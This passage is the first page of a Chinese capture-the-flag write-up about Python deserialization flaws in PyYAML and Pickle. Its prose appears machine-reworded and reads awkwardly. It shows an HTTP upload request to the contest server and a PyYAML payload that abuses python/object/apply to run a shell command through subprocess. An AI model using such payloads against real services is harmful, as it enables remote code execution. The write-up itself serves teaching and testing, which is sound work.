欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

记载CTF比赛里发觉的Python反序列化BUG漏洞破绽

来源:本站整理 作者:佚名 时间:2017-09-08 TAG: 我要投稿

在头几天,我有幸加入了ToorConCTF(https://twitter.com/toorconctf),而在加入这次盛会的过程当中我第一次在Python中发明了序列化破绽。在咱们的竞赛过程当中,有两个挑衅中触及到了能够或许接收序列化工具的Python库,而咱们经由过程研讨发明,这些Python库中存在的安全破绽将有可能招致长途代码履行(RCE)。
由于我发明网上对于这方面的参考资料异常狼藉,查找起来也异常的艰苦,是以我打算在这篇文章中与人人分享我的发明、破绽应用代码和相应的解决方案。在这篇文章中,我将会给人人先容若何应用PyYAML(一个Python YAML库)和Python Pickle库中的反序列化破绽。
配景内容
在开端本文的重要内容以前,有一些异常重要的基础知识是人人应当要提早通晓的。假如你不是很懂得反序列化破绽的话,上面这段说明应当能够让你对该破绽有一些根本的熟悉了。来自Fox Glove Security公司的@breenmachine是如许说明反序列化破绽的:
“反序列化破绽单指一种破绽范例,绝大多数的编程语言都给用户供给了某种内置办法来将应用法式数据输入到当地磁盘或经由过程收集停止传输(流数据)。将应用法式数据转换成其余格局以相符传输前提的过程咱们称之为序列化,而将序列化数据改变回可读数据的过程咱们称之为反序列化。当开辟职员所编写的代码能够或许接收用户供给的序列化数据并在法式中对数据停止反序列化处置时,破绽便有可能会发生。依据分歧编程语言的特征,这类破绽将有可能招致林林总总的严重后果,但其中最有意思的便是本文将要评论辩论的长途代码履行成绩了。”
PyYAML反序列化破绽+长途代码履行
在咱们的第一个挑衅中,咱们遇到了一个Web页面,这个页面中包括一个YAML文档上传表格。在Google上搜刮了一些对于YAML文档的内容以后,我制作了一个YAML文件(下文会给出),而后将其经由过程Web页面的表单停止了上传,并对表单的上传功效停止了阐发和测试。

HTTP哀求
POST / HTTP/1.1
Host: ganon.39586ebba722e94b.ctf.land:8001
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://ganon.39586ebba722e94b.ctf.land:8001/
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------200783363553063815533894329
Content-Length: 857
-----------------------------200783363553063815533894329
Content-Disposition: form-data; name="file"; filename="test.yaml"
Content-Type: application/x-yaml
---
# A list of global configuration variables
# # Uncomment lines as needed to edit default settings.
# # Note this only works for settings with default values. Some commands like --rerun module>
# # or --force-ccd n will have to be set in the command line (if you need to)
#
# # This line is really important to set up properly
# project_path: '/home/user'
#
# # The rest of the settings will default to the values set unless you uncomment and change them # #resize_to: 2048 'test'
-----------------------------200783363553063815533894329
Content-Disposition: form-data; name="upload"
-----------------------------200783363553063815533894329--
HTTP/1.1 200 OK
Server: gunicorn/19.7.1
Date: Sun, 03 Sep 2017 02:50:16 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 2213
Set-Cookie: session=; Expires=Thu, 01-Jan-1970 00:00:00 GMT; Max-Age=0; Path=/
div class="container flashed-messages">
   div>
    div>
     div class="alert alert-info" role="alert">
       test.yaml is valid YAML
     div>
    div>
   div>
  div>
 
   div>
div>
  div class="container main">
   div>
    div class="col-md-12 main">
code>code>
正如上面这段代码所示,文档已被我胜利上传,但提醒信息只奉告了咱们上传的文件能否为一个有用的YAML文档。这就让我有些莫衷一是了...然则在对相应信息停止了进一步的阐发以后,我留意到了后盾服务器正在运转的是gunicorn/19.7.1。
在网上疾速搜刮了一些对于gunicorn的内容以后,我发明它是一个Python Web服务器,而这也就意味着卖力处置YAML文档的剖析器应当是一个Python库。是以,我又上彀搜刮了一些对于Python YAML破绽的内容,并且还发明了一些先容PyYAML反序列化破绽的技术文章。在对这些文章停止了演绎总结以后,我获得了以下所示的专门针对PyYAML反序列化破绽的破绽应用代码:
!!map {
? !!str "goodbye"
: !!python/object/apply:subprocess.check_output [
!!str "ls",
],
}
接下来就要进入破绽应用阶段了,然则咱们今朝照样跟盲人摸象同样得一步一步逐步探索。咱们起首应用BurpSuite测验考试向文档内容中注入Payload,而后再将该文档上传。

[1] [2] [3]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载